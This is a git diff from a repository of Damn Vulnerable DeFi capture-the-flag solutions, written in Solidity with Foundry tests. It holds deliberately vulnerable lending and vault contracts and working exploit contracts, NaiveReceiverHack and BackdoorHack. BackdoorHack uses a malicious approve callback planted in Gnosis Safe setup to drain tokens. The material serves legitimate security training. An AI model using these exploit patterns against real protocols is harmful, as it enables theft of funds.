diff --git a/README.md b/README.md index 5e88cac..0e250ca 100644 --- a/README.md +++ b/README.md @@ -80,6 +80,8 @@ git submodule add https://github.com/OpenZeppelin/openzeppelin-contracts-upgrade git submodule add https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1 # cd foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1 && git checkout tags/v4.7.1 +git submodule add https://github.com/transmissions11/solmate + rm -rf .git/modules/foundry/lib/@uniswap diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/01.Unstoppable/UnstoppableVault.sol b/contracts/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.sol similarity index 81% rename from contracts/CTF/Damn-Vulnerable-DeFi/01.Unstoppable/UnstoppableVault.sol rename to contracts/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.sol index b594a14..e405767 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/01.Unstoppable/UnstoppableVault.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.sol @@ -11,6 +11,7 @@ import { IERC3156FlashBorrower, IERC3156FlashLender } from "@openzeppelin/contra * @title UnstoppableVault * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ + contract UnstoppableVault is IERC3156FlashLender, ReentrancyGuard, Owned, ERC4626 { using SafeTransferLib for ERC20; using FixedPointMathLib for uint256; @@ -139,3 +140,41 @@ contract UnstoppableVault is IERC3156FlashLender, ReentrancyGuard, Owned, ERC462 */ function afterDeposit(uint256 assets, uint256 shares) internal override nonReentrant { } } + +/** + * @title ReceiverUnstoppable + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ +contract ReceiverUnstoppable is Owned, IERC3156FlashBorrower { + UnstoppableVault private immutable pool; + + error UnexpectedFlashLoan(); + + constructor(address poolAddress) Owned(msg.sender) { + pool = UnstoppableVault(poolAddress); + } + + function onFlashLoan( + address initiator, + address token, + uint256 amount, + uint256 fee, + bytes calldata + ) + external + returns (bytes32) + { + if (initiator != address(this) || msg.sender != address(pool) || token != address(pool.asset()) || fee != 0) { + revert UnexpectedFlashLoan(); + } + + ERC20(token).approve(address(pool), amount); + + return keccak256("IERC3156FlashBorrower.onFlashLoan"); + } + + function executeFlashLoan(uint256 amount) external onlyOwner { + address asset = address(pool.asset()); + pool.flashLoan(this, asset, amount, bytes("")); + } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/01.Unstoppable/ReceiverUnstoppable.sol b/contracts/CTF/Damn-Vulnerable-DeFi/01.Unstoppable/ReceiverUnstoppable.sol deleted file mode 100644 index e334f77..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/01.Unstoppable/ReceiverUnstoppable.sol +++ /dev/null @@ -1,44 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -import { Owned } from "@solmate/auth/Owned.sol"; -import { IERC3156FlashBorrower } from "@openzeppelin/contracts-v4.7.1/interfaces/IERC3156FlashBorrower.sol"; -import { UnstoppableVault, ERC20 } from "./UnstoppableVault.sol"; - -/** - * @title ReceiverUnstoppable - * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) - */ -contract ReceiverUnstoppable is Owned, IERC3156FlashBorrower { - UnstoppableVault private immutable pool; - - error UnexpectedFlashLoan(); - - constructor(address poolAddress) Owned(msg.sender) { - pool = UnstoppableVault(poolAddress); - } - - function onFlashLoan( - address initiator, - address token, - uint256 amount, - uint256 fee, - bytes calldata - ) - external - returns (bytes32) - { - if (initiator != address(this) || msg.sender != address(pool) || token != address(pool.asset()) || fee != 0) { - revert UnexpectedFlashLoan(); - } - - ERC20(token).approve(address(pool), amount); - - return keccak256("IERC3156FlashBorrower.onFlashLoan"); - } - - function executeFlashLoan(uint256 amount) external onlyOwner { - address asset = address(pool.asset()); - pool.flashLoan(this, asset, amount, bytes("")); - } -} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.sol b/contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.sol new file mode 100644 index 0000000..6eec15f --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.sol @@ -0,0 +1,149 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { SafeTransferLib } from "@solady/utils/SafeTransferLib.sol"; +import { ReentrancyGuard } from "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; +import { IERC3156FlashBorrower, IERC3156FlashLender } from "@openzeppelin/contracts-v4.7.1/interfaces/IERC3156.sol"; + +/** + * @title FlashLoanReceiver + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ + +contract FlashLoanReceiver is IERC3156FlashBorrower { + address private pool; + address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; + + error UnsupportedCurrency(); + + constructor(address _pool) { + pool = _pool; + } + + // @audit + // @audit-ok + // @audit-check + // @audit-issue + // @audit-info + // @audit-submitted + function onFlashLoan( + address, + address token, + uint256 amount, + uint256 fee, + bytes calldata + ) + external + returns (bytes32) + { + assembly { + // gas savings + if iszero(eq(sload(pool.slot), caller())) { + mstore(0x00, 0x48f5c3ed) + revert(0x1c, 0x04) + } + } + + if (token != ETH) { + revert UnsupportedCurrency(); + } + + uint256 amountToBeRepaid; + unchecked { + amountToBeRepaid = amount + fee; + } + + _executeActionDuringFlashLoan(); + + // Return funds to pool + SafeTransferLib.safeTransferETH(pool, amountToBeRepaid); + + return keccak256("ERC3156FlashBorrower.onFlashLoan"); + } + + // Internal function where the funds received would be used + function _executeActionDuringFlashLoan() internal { } + + // Allow deposits of ETH + receive() external payable { } +} +/** + * @title NaiveReceiverLenderPool + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ + +contract NaiveReceiverLenderPool is ReentrancyGuard, IERC3156FlashLender { + address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; + uint256 public constant FIXED_FEE = 1 ether; // not the cheapest flash loan + bytes32 public constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan"); + + error RepayFailed(); + error UnsupportedCurrency(); + error CallbackFailed(); + + function maxFlashLoan(address token) external view returns (uint256) { + if (token == ETH) { + return address(this).balance; + } + return 0; + } + + function flashFee(address token, uint256) external pure returns (uint256) { + if (token != ETH) { + revert UnsupportedCurrency(); + } + return FIXED_FEE; + } + + function flashLoan( + IERC3156FlashBorrower receiver, + address token, + uint256 amount, + bytes calldata data + ) + external + returns (bool) + { + if (token != ETH) { + revert UnsupportedCurrency(); + } + + uint256 balanceBefore = address(this).balance; + + // Transfer ETH and handle control to receiver + SafeTransferLib.safeTransferETH(address(receiver), amount); + if (receiver.onFlashLoan(msg.sender, ETH, amount, FIXED_FEE, data) != CALLBACK_SUCCESS) { + revert CallbackFailed(); + } + + if (address(this).balance < balanceBefore + FIXED_FEE) { + revert RepayFailed(); + } + + return true; + } + + // Allow deposits of ETH + receive() external payable { } +} + +interface IPool { + function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external returns (bool); +} + +contract NaiveReceiverHack { + address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; + NaiveReceiverLenderPool pool; + FlashLoanReceiver receiver; + + constructor(address payable _pool, address payable _receiver) { + pool = NaiveReceiverLenderPool(_pool); + receiver = FlashLoanReceiver(_receiver); + } + + function attack() public { + for (uint256 i = 0; i < 10; i++) { + pool.flashLoan(receiver, ETH, 0, "0x"); + } + } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver/FlashLoanReceiver.sol b/contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver/FlashLoanReceiver.sol deleted file mode 100644 index ce3f212..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver/FlashLoanReceiver.sol +++ /dev/null @@ -1,69 +0,0 @@ -// SPDX-License-Identifier: MIT - -pragma solidity ^0.8.0; - -import { SafeTransferLib } from "@solady/utils/SafeTransferLib.sol"; -import { IERC3156FlashBorrower } from "@openzeppelin/contracts-v4.7.1/interfaces/IERC3156FlashBorrower.sol"; -import { NaiveReceiverLenderPool } from "./NaiveReceiverLenderPool.sol"; - -/** - * @title FlashLoanReceiver - * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) - */ -contract FlashLoanReceiver is IERC3156FlashBorrower { - address private pool; - address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; - - error UnsupportedCurrency(); - - constructor(address _pool) { - pool = _pool; - } - - // @audit - // @audit-ok - // @audit-check - // @audit-issue - // @audit-info - // @audit-submitted - function onFlashLoan( - address, - address token, - uint256 amount, - uint256 fee, - bytes calldata - ) - external - returns (bytes32) - { - assembly { - // gas savings - if iszero(eq(sload(pool.slot), caller())) { - mstore(0x00, 0x48f5c3ed) - revert(0x1c, 0x04) - } - } - - if (token != ETH) { - revert UnsupportedCurrency(); - } - - uint256 amountToBeRepaid; - unchecked { - amountToBeRepaid = amount + fee; - } - - _executeActionDuringFlashLoan(); - - // Return funds to pool - SafeTransferLib.safeTransferETH(pool, amountToBeRepaid); - - return keccak256("ERC3156FlashBorrower.onFlashLoan"); - } - - // Internal function where the funds received would be used - function _executeActionDuringFlashLoan() internal { } - - // Allow deposits of ETH - receive() external payable { } -} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver/NaiveReceiverHack.sol b/contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver/NaiveReceiverHack.sol deleted file mode 100644 index df8c70f..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver/NaiveReceiverHack.sol +++ /dev/null @@ -1,23 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -interface IPool { - function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external returns (bool); -} - -contract NaiveReceiverHack { - address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; - IPool pool; - address receiver; - - constructor(address _pool, address _receiver) { - pool = IPool(_pool); - receiver = _receiver; - } - - function attack() public { - for (uint256 i = 0; i < 10; i++) { - pool.flashLoan(receiver, ETH, 0, "0x"); - } - } -} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver/NaiveReceiverLenderPool.sol b/contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver/NaiveReceiverLenderPool.sol deleted file mode 100644 index 5f5fcb3..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver/NaiveReceiverLenderPool.sol +++ /dev/null @@ -1,66 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -import { ReentrancyGuard } from "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; -import { IERC3156FlashBorrower, IERC3156FlashLender } from "@openzeppelin/contracts-v4.7.1/interfaces/IERC3156.sol"; -import { SafeTransferLib } from "@solady/utils/SafeTransferLib.sol"; -import { FlashLoanReceiver } from "./FlashLoanReceiver.sol"; - -/** - * @title NaiveReceiverLenderPool - * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) - */ -contract NaiveReceiverLenderPool is ReentrancyGuard, IERC3156FlashLender { - address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; - uint256 public constant FIXED_FEE = 1 ether; // not the cheapest flash loan - bytes32 public constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan"); - - error RepayFailed(); - error UnsupportedCurrency(); - error CallbackFailed(); - - function maxFlashLoan(address token) external view returns (uint256) { - if (token == ETH) { - return address(this).balance; - } - return 0; - } - - function flashFee(address token, uint256) external pure returns (uint256) { - if (token != ETH) { - revert UnsupportedCurrency(); - } - return FIXED_FEE; - } - - function flashLoan( - IERC3156FlashBorrower receiver, - address token, - uint256 amount, - bytes calldata data - ) - external - returns (bool) - { - if (token != ETH) { - revert UnsupportedCurrency(); - } - - uint256 balanceBefore = address(this).balance; - - // Transfer ETH and handle control to receiver - SafeTransferLib.safeTransferETH(address(receiver), amount); - if (receiver.onFlashLoan(msg.sender, ETH, amount, FIXED_FEE, data) != CALLBACK_SUCCESS) { - revert CallbackFailed(); - } - - if (address(this).balance < balanceBefore + FIXED_FEE) { - revert RepayFailed(); - } - - return true; - } - - // Allow deposits of ETH - receive() external payable { } -} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/11.Backdoor/11.Backdoor.sol b/contracts/CTF/Damn-Vulnerable-DeFi/11.Backdoor/11.Backdoor.sol index 167e794..bc12c31 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/11.Backdoor/11.Backdoor.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/11.Backdoor/11.Backdoor.sol @@ -140,3 +140,66 @@ contract WalletRegistry is IProxyCreationCallback, Ownable { ); } } + +interface IGnosisFactory { + function createProxyWithCallback( + address _singleton, + bytes memory initializer, + uint256 saltNonce, + IProxyCreationCallback callback + ) + external + returns (GnosisSafeProxy proxy); +} + +contract MaliciousApprove { + function approve(address attacker, IERC20 token) public { + token.approve(attacker, type(uint256).max); + } +} + +contract BackdoorHack { + WalletRegistry private immutable walletRegistry; + IGnosisFactory private immutable factory; + GnosisSafe private immutable masterCopy; + IERC20 private immutable token; + MaliciousApprove private immutable maliciousApprove; + + constructor(address _walletRegistry, address[] memory users) { + // Set state variables + walletRegistry = WalletRegistry(_walletRegistry); + masterCopy = GnosisSafe(payable(walletRegistry.masterCopy())); + factory = IGnosisFactory(walletRegistry.walletFactory()); + token = IERC20(walletRegistry.token()); + + // Deploy malicious backdoor for approve + maliciousApprove = new MaliciousApprove(); + + // Create a new safe through the factory for every user + + bytes memory initializer; + address[] memory owners = new address[](1); + address wallet; + + for (uint256 i; i < users.length; i++) { + owners[0] = users[i]; + initializer = abi.encodeCall( + GnosisSafe.setup, + ( + owners, + 1, + address(maliciousApprove), + abi.encodeCall(maliciousApprove.approve, (address(this), token)), + address(0), + address(0), + 0, + payable(address(0)) + ) + ); + + wallet = address(factory.createProxyWithCallback(address(masterCopy), initializer, 0, walletRegistry)); + + token.transferFrom(wallet, msg.sender, token.balanceOf(wallet)); + } + } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/ClimberTimelock.sol b/contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/12.Climber.sol similarity index 55% rename from contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/ClimberTimelock.sol rename to contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/12.Climber.sol index f2a602f..db9ea56 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/ClimberTimelock.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/12.Climber.sol @@ -1,20 +1,45 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; +import { SafeTransferLib } from "@solady/utils/SafeTransferLib.sol"; +import { AccessControl } from "@openzeppelin/contracts-v4.7.1/access/AccessControl.sol"; import { Address } from "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; -// import { ClimberTimelockBase } from "./ClimberTimelockBase.sol"; -import { ADMIN_ROLE, PROPOSER_ROLE, MAX_TARGETS, MIN_TARGETS, MAX_DELAY } from "./ClimberConstants.sol"; -import { - InvalidTargetsCount, - InvalidDataElementsCount, - InvalidValuesCount, - OperationAlreadyKnown, - NotReadyForExecution, - CallerNotTimelock, - NewDelayAboveMax -} from "./ClimberErrors.sol"; +import { IERC20 } from "@openzeppelin/contracts-v4.7.1/token/ERC20/IERC20.sol"; +import { Initializable } from "@openzeppelin/contracts-upgradeable-v4.7.1/proxy/utils/Initializable.sol"; +import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable-v4.7.1/access/OwnableUpgradeable.sol"; +import { UUPSUpgradeable } from "@openzeppelin/contracts-upgradeable-v4.7.1/proxy/utils/UUPSUpgradeable.sol"; -import { AccessControl } from "@openzeppelin/contracts-v4.7.1/access/AccessControl.sol"; +/* ########################## */ +/* ### TIMELOCK CONSTANTS ### */ +/* ########################## */ + +// keccak256("ADMIN_ROLE"); +bytes32 constant ADMIN_ROLE = 0xa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c21775; + +// keccak256("PROPOSER_ROLE"); +bytes32 constant PROPOSER_ROLE = 0xb09aa5aeb3702cfd50b6b62bc4532604938f21248a27a1d5ca736082b6819cc1; + +uint256 constant MAX_TARGETS = 256; +uint256 constant MIN_TARGETS = 0; +uint256 constant MAX_DELAY = 14 days; + +/* ####################### */ +/* ### VAULT CONSTANTS ### */ +/* ####################### */ + +uint256 constant WITHDRAWAL_LIMIT = 1 ether; +uint256 constant WAITING_PERIOD = 15 days; + +error CallerNotTimelock(); +error NewDelayAboveMax(); +error NotReadyForExecution(bytes32 operationId); +error InvalidTargetsCount(); +error InvalidDataElementsCount(); +error InvalidValuesCount(); +error OperationAlreadyKnown(bytes32 operationId); +error CallerNotSweeper(); +error InvalidWithdrawalAmount(); +error InvalidWithdrawalTime(); /** * @title ClimberTimelockBase @@ -74,10 +99,6 @@ abstract contract ClimberTimelockBase is AccessControl { receive() external payable { } } -/** - * @title ClimberTimelock - * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) - */ contract ClimberTimelock is ClimberTimelockBase { using Address for address; @@ -179,3 +200,76 @@ contract ClimberTimelock is ClimberTimelockBase { delay = newDelay; } } + +/** + * @title ClimberVault + * @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner. + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ +contract ClimberVault is Initializable, OwnableUpgradeable, UUPSUpgradeable { + uint256 private _lastWithdrawalTimestamp; + address private _sweeper; + + modifier onlySweeper() { + if (msg.sender != _sweeper) { + revert CallerNotSweeper(); + } + _; + } + + /// @custom:oz-upgrades-unsafe-allow constructor + constructor() { + _disableInitializers(); + } + + function initialize(address admin, address proposer, address sweeper) external initializer { + // Initialize inheritance chain + __Ownable_init(); + __UUPSUpgradeable_init(); + + // Deploy timelock and transfer ownership to it + transferOwnership(address(new ClimberTimelock(admin, proposer))); + + _setSweeper(sweeper); + _updateLastWithdrawalTimestamp(block.timestamp); + } + + // Allows the owner to send a limited amount of tokens to a recipient every now and then + function withdraw(address token, address recipient, uint256 amount) external onlyOwner { + if (amount > WITHDRAWAL_LIMIT) { + revert InvalidWithdrawalAmount(); + } + + if (block.timestamp <= _lastWithdrawalTimestamp + WAITING_PERIOD) { + revert InvalidWithdrawalTime(); + } + + _updateLastWithdrawalTimestamp(block.timestamp); + + SafeTransferLib.safeTransfer(token, recipient, amount); + } + + // Allows trusted sweeper account to retrieve any tokens + function sweepFunds(address token) external onlySweeper { + SafeTransferLib.safeTransfer(token, _sweeper, IERC20(token).balanceOf(address(this))); + } + + function getSweeper() external view returns (address) { + return _sweeper; + } + + function _setSweeper(address newSweeper) private { + _sweeper = newSweeper; + } + + function getLastWithdrawalTimestamp() external view returns (uint256) { + return _lastWithdrawalTimestamp; + } + + function _updateLastWithdrawalTimestamp(uint256 timestamp) private { + _lastWithdrawalTimestamp = timestamp; + } + + // By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade + function _authorizeUpgrade(address newImplementation) internal override onlyOwner { } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/ClimberConstants.sol b/contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/ClimberConstants.sol deleted file mode 100644 index 075084e..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/ClimberConstants.sol +++ /dev/null @@ -1,23 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -/* ########################## */ -/* ### TIMELOCK CONSTANTS ### */ -/* ########################## */ - -// keccak256("ADMIN_ROLE"); -bytes32 constant ADMIN_ROLE = 0xa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c21775; - -// keccak256("PROPOSER_ROLE"); -bytes32 constant PROPOSER_ROLE = 0xb09aa5aeb3702cfd50b6b62bc4532604938f21248a27a1d5ca736082b6819cc1; - -uint256 constant MAX_TARGETS = 256; -uint256 constant MIN_TARGETS = 0; -uint256 constant MAX_DELAY = 14 days; - -/* ####################### */ -/* ### VAULT CONSTANTS ### */ -/* ####################### */ - -uint256 constant WITHDRAWAL_LIMIT = 1 ether; -uint256 constant WAITING_PERIOD = 15 days; diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/ClimberErrors.sol b/contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/ClimberErrors.sol deleted file mode 100644 index cc20f84..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/ClimberErrors.sol +++ /dev/null @@ -1,13 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -error CallerNotTimelock(); -error NewDelayAboveMax(); -error NotReadyForExecution(bytes32 operationId); -error InvalidTargetsCount(); -error InvalidDataElementsCount(); -error InvalidValuesCount(); -error OperationAlreadyKnown(bytes32 operationId); -error CallerNotSweeper(); -error InvalidWithdrawalAmount(); -error InvalidWithdrawalTime(); diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/ClimberTimelockBase.sol b/contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/ClimberTimelockBase.sol deleted file mode 100644 index 8d8c320..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/ClimberTimelockBase.sol +++ /dev/null @@ -1,4 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -contract ClimberTimelockBase { } diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/ClimberVault.sol b/contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/ClimberVault.sol deleted file mode 100644 index 36dac08..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/12.Climber/ClimberVault.sol +++ /dev/null @@ -1,84 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -import { Initializable } from "@openzeppelin/contracts-upgradeable-v4.7.1/proxy/utils/Initializable.sol"; -import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable-v4.7.1/access/OwnableUpgradeable.sol"; -import { UUPSUpgradeable } from "@openzeppelin/contracts-upgradeable-v4.7.1/proxy/utils/UUPSUpgradeable.sol"; -import { IERC20 } from "@openzeppelin/contracts-v4.7.1/token/ERC20/IERC20.sol"; -import { SafeTransferLib } from "@solady/utils/SafeTransferLib.sol"; -import { ClimberTimelock } from "./ClimberTimelock.sol"; -import { WITHDRAWAL_LIMIT, WAITING_PERIOD } from "./ClimberConstants.sol"; -import { CallerNotSweeper, InvalidWithdrawalAmount, InvalidWithdrawalTime } from "./ClimberErrors.sol"; - -/** - * @title ClimberVault - * @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner. - * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) - */ -contract ClimberVault is Initializable, OwnableUpgradeable, UUPSUpgradeable { - uint256 private _lastWithdrawalTimestamp; - address private _sweeper; - - modifier onlySweeper() { - if (msg.sender != _sweeper) { - revert CallerNotSweeper(); - } - _; - } - - /// @custom:oz-upgrades-unsafe-allow constructor - constructor() { - _disableInitializers(); - } - - function initialize(address admin, address proposer, address sweeper) external initializer { - // Initialize inheritance chain - __Ownable_init(); - __UUPSUpgradeable_init(); - - // Deploy timelock and transfer ownership to it - transferOwnership(address(new ClimberTimelock(admin, proposer))); - - _setSweeper(sweeper); - _updateLastWithdrawalTimestamp(block.timestamp); - } - - // Allows the owner to send a limited amount of tokens to a recipient every now and then - function withdraw(address token, address recipient, uint256 amount) external onlyOwner { - if (amount > WITHDRAWAL_LIMIT) { - revert InvalidWithdrawalAmount(); - } - - if (block.timestamp <= _lastWithdrawalTimestamp + WAITING_PERIOD) { - revert InvalidWithdrawalTime(); - } - - _updateLastWithdrawalTimestamp(block.timestamp); - - SafeTransferLib.safeTransfer(token, recipient, amount); - } - - // Allows trusted sweeper account to retrieve any tokens - function sweepFunds(address token) external onlySweeper { - SafeTransferLib.safeTransfer(token, _sweeper, IERC20(token).balanceOf(address(this))); - } - - function getSweeper() external view returns (address) { - return _sweeper; - } - - function _setSweeper(address newSweeper) private { - _sweeper = newSweeper; - } - - function getLastWithdrawalTimestamp() external view returns (uint256) { - return _lastWithdrawalTimestamp; - } - - function _updateLastWithdrawalTimestamp(uint256 timestamp) private { - _lastWithdrawalTimestamp = timestamp; - } - - // By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade - function _authorizeUpgrade(address newImplementation) internal override onlyOwner { } -} diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.t.sol index 9be6d0c..eb2c773 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.t.sol @@ -4,11 +4,8 @@ pragma solidity ^0.8.0; import { Test } from "forge-std/Test.sol"; import { Vm } from "forge-std/Vm.sol"; import { console2 } from "forge-std/console2.sol"; -import { console } from "forge-std/console.sol"; -import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; -import { ReceiverUnstoppable } from "@contracts/CTF/Damn-Vulnerable-DeFi/01.Unstoppable/ReceiverUnstoppable.sol"; -import { UnstoppableVault } from "@contracts/CTF/Damn-Vulnerable-DeFi/01.Unstoppable/UnstoppableVault.sol"; +import { ReceiverUnstoppable, UnstoppableVault } from "@contracts/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.sol"; /* forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/01.Unstoppable.t.sol -vvvvv diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.t.sol index 7b288b8..0c6d12c 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.t.sol @@ -3,11 +3,11 @@ pragma solidity ^0.8.0; import { Test } from "forge-std/Test.sol"; import { Vm } from "forge-std/Vm.sol"; -import { FlashLoanReceiver } from "@contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver/FlashLoanReceiver.sol"; -import { NaiveReceiverLenderPool } from - "@contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver/NaiveReceiverLenderPool.sol"; - -import { NaiveReceiverHack } from "@contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver/NaiveReceiverHack.sol"; +import { + FlashLoanReceiver, + NaiveReceiverLenderPool, + NaiveReceiverHack +} from "@contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.sol"; /* https://www.damnvulnerabledefi.xyz/challenges/naive-receiver/ @@ -60,7 +60,7 @@ contract Naive_Receiver_02_Test is Test { // for (uint256 i = 0; i < 10; i++) { // pool.flashLoan(receiver, pool.ETH(), 0, "0x"); // } - NaiveReceiverHack hackInst = new NaiveReceiverHack(address(pool), address(receiver)); + NaiveReceiverHack hackInst = new NaiveReceiverHack(payable(pool), payable(receiver)); hackInst.attack(); /* END CODE YOUR SOLUTION */ diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol index accc2e2..f9dadad 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol @@ -22,7 +22,7 @@ import { IUniswapV2Pair } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2 import { WETH } from "@solmate/tokens/WETH.sol"; /* - forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol -vvvvv + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol -f localhost -vvvvv */ contract Challenge_10_Free_Rider_Test is PRBTest { diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/11.Backdoor.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/11.Backdoor.t.sol index 2767229..4f7daf3 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/11.Backdoor.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/11.Backdoor.t.sol @@ -4,6 +4,9 @@ pragma solidity ^0.8.0; import { Test } from "forge-std/Test.sol"; import { Vm } from "forge-std/Vm.sol"; import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; +import { WalletRegistry, BackdoorHack } from "@contracts/CTF/Damn-Vulnerable-DeFi/11.Backdoor/11.Backdoor.sol"; +import { GnosisSafe } from "@gnosis.pm/safe-contracts-v1.3.0/contracts/GnosisSafe.sol"; +import { GnosisSafeProxyFactory } from "@gnosis.pm/safe-contracts-v1.3.0/contracts/proxies/GnosisSafeProxyFactory.sol"; /* forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/11.Backdoor.t.sol -vvvvv @@ -14,33 +17,83 @@ contract Backdoor_11_Test is Test { address private deployer = address(1); address 